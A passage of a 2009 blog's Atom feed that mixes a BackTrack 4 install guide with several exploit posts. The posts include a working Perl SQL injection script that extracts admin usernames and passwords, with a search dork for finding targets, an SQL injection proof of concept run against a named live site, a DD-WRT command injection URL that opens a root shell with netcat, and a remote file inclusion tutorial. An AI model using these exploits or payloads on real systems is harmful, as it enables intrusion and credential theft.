rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3189404553459595301</id><published>2009-08-25T20:38:00.000-07:00</published><updated>2009-08-26T19:30:21.215-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>How to make a Backtrack 4 Hard Drive Installation -</title><content type='html'>Backtrack 4 does not contain any installer yet thus we wrote this step by step guide based on muts cookbook on how to install Backtrack 4 on our hard disk drive.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step 1 - Creating the partitions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First we will need to create three partitions to be able to install backtrack on our hard disk drive. We will need boot, swap and root partitions to be created. (We can still create 2 partitions and install the boot inside the root partition)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dwahXHUsR58/SpSupZJfzTI/AAAAAAAAAAM/7biJZ4kKFmY/s1600-h/installing_backtrack4_step1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 130px;" src="http://3.bp.blogspot.com/_dwahXHUsR58/SpSupZJfzTI/AAAAAAAAAAM/7biJZ4kKFmY/s320/installing_backtrack4_step1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374112281508433202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dwahXHUsR58/SpSvHQlKtLI/AAAAAAAAAAU/S60kq6Cpb8c/s1600-h/installing_backtrack4_step2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 263px;" src="http://2.bp.blogspot.com/_dwahXHUsR58/SpSvHQlKtLI/AAAAAAAAAAU/S60kq6Cpb8c/s320/installing_backtrack4_step2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374112794604647602" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After we create the three partitions we need to change the type of partition 2 to swap and activate the boot partition, then write the changes&lt;br /&gt;&lt;br /&gt;Command (m for help): t&lt;br /&gt;Partition number (1-4): 2&lt;br /&gt;Hex code (type L to list codes): 82&lt;br /&gt;Changed system type of partition 2 to 82 (Linux swap / Solaris)&lt;br /&gt;Command (m for help): a&lt;br /&gt;Partition number (1-4): 1&lt;br /&gt;Command (m for help): w&lt;br /&gt;The partition table has been altered!&lt;br /&gt;Calling ioctl() to re-read partition table.&lt;br /&gt;Syncing disks.&lt;br /&gt;root@bt:~#&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step 2 - Format the file systems&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We format our file system with mkreiserfs for root partition, ext2 for boot and swap for the swap partition.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_dwahXHUsR58/SpSvqEW6L5I/AAAAAAAAAAc/6u7X_MZtgTM/s1600-h/installing_backtrack4_step2a1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://1.bp.blogspot.com/_dwahXHUsR58/SpSvqEW6L5I/AAAAAAAAAAc/6u7X_MZtgTM/s320/installing_backtrack4_step2a1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374113392619040658" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dwahXHUsR58/SpSvzpMNaRI/AAAAAAAAAAk/2S-sklcVxjg/s1600-h/installing_backtrack4_step2b.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 44px;" src="http://2.bp.blogspot.com/_dwahXHUsR58/SpSvzpMNaRI/AAAAAAAAAAk/2S-sklcVxjg/s320/installing_backtrack4_step2b.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374113557125097746" /&gt;&lt;/a&gt;\&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dwahXHUsR58/SpSv8BcEp7I/AAAAAAAAAAs/c-54UIRqNwY/s1600-h/installing_backtrack4_step2c.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 242px;" src="http://3.bp.blogspot.com/_dwahXHUsR58/SpSv8BcEp7I/AAAAAAAAAAs/c-54UIRqNwY/s320/installing_backtrack4_step2c.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374113701073037234" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step 3 - Mount and Copy Directories&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After we had prepare the file systems its time to copy over the backtrack files to our hard drive and configure it to run the backtrack on boot.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dwahXHUsR58/SpSwNQG8-5I/AAAAAAAAAA0/eWjVBzKCJ14/s1600-h/installing_backtrack4_step2d.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 66px;" src="http://4.bp.blogspot.com/_dwahXHUsR58/SpSwNQG8-5I/AAAAAAAAAA0/eWjVBzKCJ14/s320/installing_backtrack4_step2d.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374113997068762002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NOTE: The copy operation will take some time so be patient until it finish&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step 4 - Configure Bootloader&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dwahXHUsR58/SpSwfwfyoCI/AAAAAAAAAA8/QxjH5_xeEcA/s1600-h/installing_backtrack4_step4a1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 276px;" src="http://4.bp.blogspot.com/_dwahXHUsR58/SpSwfwfyoCI/AAAAAAAAAA8/QxjH5_xeEcA/s320/installing_backtrack4_step4a1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374114315000520738" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We will need to configure /etc/lilo.conf and define the boot and root partition so we will be able to boot into backtrack. In case we do not correctly define the root partition we will get an error “Kernel panic: no init found”.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dwahXHUsR58/SpSwxrmSaKI/AAAAAAAAABE/0ASgJPBpiXE/s1600-h/installing_backtrack4_step4b.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 98px;" src="http://3.bp.blogspot.com/_dwahXHUsR58/SpSwxrmSaKI/AAAAAAAAABE/0ASgJPBpiXE/s320/installing_backtrack4_step4b.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374114622923237538" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Edit /etc/fstab and append the following lines:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;/dev/sda3 / reiserfs defaults 0 0 # AutoUpdate&lt;br /&gt;/dev/sda2 none swap sw 0 0&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dwahXHUsR58/SpSxN1tyQWI/AAAAAAAAABM/UmqZF4HovKc/s1600-h/installing_backtrack4_step4c.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 206px;" src="http://4.bp.blogspot.com/_dwahXHUsR58/SpSxN1tyQWI/AAAAAAAAABM/UmqZF4HovKc/s320/installing_backtrack4_step4c.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5374115106675376482" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Execute lilo -v and reboot&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;References:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.offensive-security.com/documentation/bt4install.pdf&lt;br /&gt;http://www.itsolutionskb.com/2009/04/how-to-install-nessus-on-backtrack-4&lt;br /&gt;http://www.itsolutionskb.com/2009/04/backtrack-4-beta-quick-fixes&lt;br /&gt;VN:F [1.6.2_892]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3189404553459595301?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3189404553459595301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/how-to-make-backtrack-4-hard-drive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3189404553459595301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3189404553459595301'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/how-to-make-backtrack-4-hard-drive.html' title='How to make a Backtrack 4 Hard Drive Installation -'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_dwahXHUsR58/SpSupZJfzTI/AAAAAAAAAAM/7biJZ4kKFmY/s72-c/installing_backtrack4_step1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-2591259063341424392</id><published>2009-08-25T20:37:00.001-07:00</published><updated>2009-08-26T19:34:06.067-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Ed Charkow's Supercharged Linking Blind SQL Injection Exploit</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#==========================================================================================#&lt;br /&gt;# &lt;br /&gt;# [o] Ed Charkow's Supercharged Linking Blind SQL Injection Exploit&lt;br /&gt;#      Software   : Ed Charkow's Supercharged Linking&lt;br /&gt;#      Buy Script : http://www.infodepot3000.com/Scripts/content/supercharged_linking.html &lt;br /&gt;#      Author     : NoGe&lt;br /&gt;#      Contact    : noge[dot]code[at]gmail[dot]com&lt;br /&gt;#      Blog       : http://evilc0de.blogspot.com&lt;br /&gt;#&lt;br /&gt;# [o] Usage&lt;br /&gt;#      root@noge:~# perl link.pl&lt;br /&gt;#&lt;br /&gt;#      [x]============================================================[x]&lt;br /&gt;#       | Ed Charkows Supercharged Linking Blind SQL Injection Exploit |&lt;br /&gt;#       |              [F]ound by NoGe [C]oded by Vrs-hCk              |&lt;br /&gt;#      [x]============================================================[x]&lt;br /&gt;# &lt;br /&gt;#      [+] URL Path : www.target.com/[path]&lt;br /&gt;#      [+] Valid ID : 1&lt;br /&gt;#&lt;br /&gt;#      [!] Exploiting http://www.target.com/[path]/ ...&lt;br /&gt;#&lt;br /&gt;#      [+] SELECT password FROM admin LIMIT 0,1 ...&lt;br /&gt;#      [+] md5@password&gt; de9e3ae793d300ce7ee4742d4513cb06&lt;br /&gt;#&lt;br /&gt;#      [!] Exploit completed.&lt;br /&gt;#&lt;br /&gt;#      root@noge:~#&lt;br /&gt;#&lt;br /&gt;#      crack the hash and login with username admin&lt;br /&gt;#&lt;br /&gt;# [o] Greetz&lt;br /&gt;#      MainHack BrotherHood [ http://mainhack.net ]&lt;br /&gt;#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe&lt;br /&gt;#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella&lt;br /&gt;#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke&lt;br /&gt;#&lt;br /&gt;#==========================================================================================#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-2591259063341424392?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/2591259063341424392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/ed-charkows-supercharged-linking-blind.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2591259063341424392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2591259063341424392'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/ed-charkows-supercharged-linking-blind.html' title='Ed Charkow&apos;s Supercharged Linking Blind SQL Injection Exploit'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4745985506960350110</id><published>2009-08-16T21:15:00.000-07:00</published><updated>2009-08-26T19:34:06.067-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>AJ Auction Pro OOPD 2.x SQL Injection Exploit</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#********************************************************#&lt;br /&gt;#                                                        #&lt;br /&gt;# [o] AJ Auction Pro OOPD 2.x SQL Injection Exploit      #&lt;br /&gt;#      Software : AJ Auction Pro OOPD 2.x                #&lt;br /&gt;#      Vendor   : http://www.ajsquare.com/               #&lt;br /&gt;#      Author   : NoGe                                   #&lt;br /&gt;#      Contact  : noge[dot]code[at]gmail[dot]com         #&lt;br /&gt;#      Blog     : http://evilc0de.blogspot.com           #&lt;br /&gt;#                                                        #&lt;br /&gt;# [o] Usage                                              #&lt;br /&gt;#      root@noge:~# perl ajpro.pl www.target.com         #&lt;br /&gt;#                                                        #&lt;br /&gt;# [o] Dork                                               #&lt;br /&gt;#      "Powered By AJ Auction Pro"                       #&lt;br /&gt;#                                                        #&lt;br /&gt;# [o] Greetz                                             #&lt;br /&gt;#      MainHack BrotherHood [ http://mainhack.net ]      #&lt;br /&gt;#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang   #&lt;br /&gt;#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella #&lt;br /&gt;#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke     #&lt;br /&gt;#                                                        #&lt;br /&gt;#********************************************************#&lt;br /&gt;&lt;br /&gt;use HTTP::Request;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;my $target = $ARGV[0];&lt;br /&gt;my $file_vuln = '/store.php?id=';&lt;br /&gt;my $sql_query = '-null+union+select+1,2,3,4,5,group_concat(0x3a,user_name,0x3a,password,0x3a),7,8,9,10+from+admin--';&lt;br /&gt;print "\n[x]===============================================[x]\n";&lt;br /&gt;print "[x] AJ Auction Pro OOPD 2.x SQL Injection Exploit [x]\n";&lt;br /&gt;print "[x]                [C]oded By NoGe                [x]\n";&lt;br /&gt;print "[x]===============================================[x]\n\n";&lt;br /&gt;&lt;br /&gt;my $exploit = "http://".$target.$file_vuln.$sql_query;&lt;br /&gt;&lt;br /&gt;my $request   = HTTP::Request-&gt;new(GET=&gt;$exploit);&lt;br /&gt;my $useragent = LWP::UserAgent-&gt;new();&lt;br /&gt;$useragent-&gt;timeout(10);&lt;br /&gt;my $response  = $useragent-&gt;request($request);&lt;br /&gt;if ($response-&gt;is_success) {&lt;br /&gt;my $res   = $response-&gt;content;&lt;br /&gt;if ($res =~ m/:(.*):(.*):/g) {&lt;br /&gt;my ($username,$password) = ($1,$2);&lt;br /&gt;print "[+] $username:$password \n\n";&lt;br /&gt;}&lt;br /&gt;else { print "[-] Error, Fail to get admin login.\n\n"; }&lt;br /&gt;}&lt;br /&gt;else { print "[-] Error, ".$response-&gt;status_line."\n\n"; }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4745985506960350110?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4745985506960350110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/aj-auction-pro-oopd-2x-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4745985506960350110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4745985506960350110'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/aj-auction-pro-oopd-2x-sql-injection.html' title='AJ Auction Pro OOPD 2.x SQL Injection Exploit'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-5550503497569750766</id><published>2009-08-16T21:10:00.000-07:00</published><updated>2009-08-26T19:34:06.067-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>BrooWaha Engine 2.0.71 SQL Injection Vuln</title><content type='html'>[o] BrooWaha Engine 2.0.71 SQL Injection Vulnerability&lt;br /&gt;Software : BrooWaha Engine 2.0.71&lt;br /&gt;Vendor   : http://www.broowaha.com/&lt;br /&gt;Author   : NoGe&lt;br /&gt;&lt;br /&gt;[o] Vulnerable file&lt;br /&gt;image.php&lt;br /&gt;&lt;br /&gt;[o] Exploit&lt;br /&gt;http://localhost/[path]/image.php?id==[SQL]&lt;br /&gt;&lt;br /&gt;[o] Proof of concept&lt;br /&gt;http://london.broowaha.com/image.php?id=-5851+AND+1=2+UNION+SELECT+concat_ws(0x3a,version(),database(),user()),1/*&lt;br /&gt;&lt;br /&gt;[o] Dork&lt;br /&gt;"Powered by BrooWaha Engine"&lt;br /&gt;&lt;br /&gt;[o] Note&lt;br /&gt;if you dont see the result, view the page source and you will see it. :)&lt;br /&gt;the result from the example above will be like this after you view the page source.&lt;br /&gt;4.0.27-max-log:db162098511:dbo162098511@74.208.16.88/-5851&lt;br /&gt;this is a private script and all target are in one IP address.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-5550503497569750766?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/5550503497569750766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/broowaha-engine-2071-sql-injection-vuln.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5550503497569750766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5550503497569750766'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/broowaha-engine-2071-sql-injection-vuln.html' title='BrooWaha Engine 2.0.71 SQL Injection Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4919897064217201380</id><published>2009-08-13T05:06:00.000-07:00</published><updated>2009-08-26T19:34:06.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>DD-WRT (httpd service) Remote Command Execution Vulnerability</title><content type='html'>This artikel take form milw0rm, for more information just look on http://www.milw0rm.com/exploits/9209&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a remote root vulnerability in DD-WRT's httpd server. The bug exists &lt;br /&gt;at the latest 24 sp1 version of the firmware.&lt;br /&gt;&lt;br /&gt; The problem is due to many bugs and bad software design decisions. Here is &lt;br /&gt;part of httpd.c:&lt;br /&gt;&lt;br /&gt;859          if (containsstring(file, "cgi-bin")) {&lt;br /&gt;860  &lt;br /&gt;861                  auth_fail = 0;&lt;br /&gt;862                  if (!do_auth&lt;br /&gt;863                      (conn_fp, auth_userid, auth_passwd, auth_realm,&lt;br /&gt;864                       authorization, auth_check))&lt;br /&gt;865                          auth_fail = 1;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;......... (snip)............&lt;br /&gt;&lt;br /&gt;899  &lt;br /&gt;900                  }&lt;br /&gt;901                  exec = fopen("/tmp/exec.tmp", "wb");&lt;br /&gt;902                  fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);&lt;br /&gt;903                  if (query)&lt;br /&gt;904                          fprintf(exec, "/bin/sh %s/%s&lt;/tmp/exec.query\n",&lt;br /&gt;905                                  server_dir != NULL ? &lt;br /&gt;server_dir : "/www",file);&lt;br /&gt;906                  else&lt;br /&gt;907                          fprintf(exec, "/%s/%s\n",&lt;br /&gt;908                                  server_dir != NULL ? server_dir : "/www", &lt;br /&gt;file);&lt;br /&gt;909                  fclose(exec);&lt;br /&gt;910  &lt;br /&gt;911                  if (query) {&lt;br /&gt;912                          exec = fopen("/tmp/exec.query", "wb");&lt;br /&gt;913                          fprintf(exec, "%s\n", query);&lt;br /&gt;&lt;br /&gt;........................&lt;br /&gt;Two issues there: &lt;br /&gt;1) No metacharacters handling&lt;br /&gt;2) Command gets executed even without successful authentication.&lt;br /&gt;You are not going to see any output if not authenticated though.&lt;br /&gt;.......................&lt;br /&gt;&lt;br /&gt;914                          free(query);&lt;br /&gt;915                          fclose(exec);&lt;br /&gt;916                  }&lt;br /&gt;917  &lt;br /&gt;918                  system2("chmod 700 /tmp/exec.tmp");&lt;br /&gt;919                  system2("/tmp/exec.tmp&gt;/tmp/shellout.asp");&lt;br /&gt;&lt;br /&gt;........... (snip)..........&lt;br /&gt;&lt;br /&gt;926                  if (auth_fail == 1) {&lt;br /&gt;927                          send_authenticate(auth_realm);&lt;br /&gt;928                          auth_fail = 0;&lt;br /&gt;&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;3) issue 3: httpd runs as root  :) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can &lt;br /&gt;connect to the management web interface can get easily root on the device via &lt;br /&gt;his browser with an URL like:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; http://routerIP/cgi-bin/;command_to_execute&lt;br /&gt;&lt;br /&gt;There is a catch though: whitespaces break it. Anyway, they can be easily &lt;br /&gt;replaced with shell variable like $IFS. So, getting root shell at 5555/tcp &lt;br /&gt;becomes as easy as typing this in your browser's url bar:&lt;br /&gt;&lt;br /&gt;http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the &lt;br /&gt;problem:&lt;br /&gt;http://www.youtube.com/watch?v=UhDcXCVFrvM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fortunately, httpd by default does not listen on the outbound interface. &lt;br /&gt;However, this vulnerability can be exploited via a CSRF attack (the dd-wrt &lt;br /&gt;device's owner does not even need to have an authenticated session on the web &lt;br /&gt;UI which is bad, bad). However, a base authentication dialog will appear. In &lt;br /&gt;IE even this can be supressed, see this one:&lt;br /&gt;&lt;br /&gt;http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/&lt;br /&gt;&lt;br /&gt;Unlike the already documented CSRF vulnerability ( &lt;br /&gt;http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated &lt;br /&gt;session. This means someone can even post some crafted [img] link on a forum &lt;br /&gt;and a dd-wrt router owner visiting the forum will get owned  :) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A weird vulnerability you're unlikely to see in 2009  :)  Quite embarrassing I &lt;br /&gt;would say  :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-4919897064217201380?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/4919897064217201380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/dd-wrt-httpd-service-remote-command.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4919897064217201380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/4919897064217201380'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/dd-wrt-httpd-service-remote-command.html' title='DD-WRT (httpd service) Remote Command Execution Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-5275602460946244793</id><published>2009-08-09T00:32:00.000-07:00</published><updated>2009-08-26T19:30:21.216-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Remote File Inclusion</title><content type='html'>Take a look of the following code:&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt; [...]&lt;br /&gt;&lt;br /&gt;  include($_GET['pag']);&lt;br /&gt;&lt;br /&gt; [...]&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;As we can see, $page is not validated before being used so a malicious user could&lt;br /&gt;include or call (as you prefer to say) his script via the browser and gain access&lt;br /&gt;to the machine or view, as before, a file.&lt;br /&gt;&lt;br /&gt;Example one: (gain access to the machine)&lt;br /&gt;&lt;br /&gt;http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]&lt;br /&gt;&lt;br /&gt;Example two: (view files)&lt;br /&gt;&lt;br /&gt;http://remote_host/inc.php?pag=/etc/passwd&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-weight:bold;"&gt;Patching&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The solution? validate the input. One of lots of methods to validate inputs &lt;br /&gt;would be to create a list of acceptable pages as shown below:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$pag = $_GET['pag'];&lt;br /&gt;&lt;br /&gt; $pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');&lt;br /&gt; &lt;br /&gt;  if(in_array($pag, $pages))&lt;br /&gt;  {&lt;br /&gt;   include($pag);&lt;br /&gt;  {&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;   die("Hacking Attempt!");&lt;br /&gt;   }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-5275602460946244793?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/5275602460946244793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/remote-file-inclusion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5275602460946244793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5275602460946244793'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/remote-file-inclusion.html' title='Remote File Inclusion'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 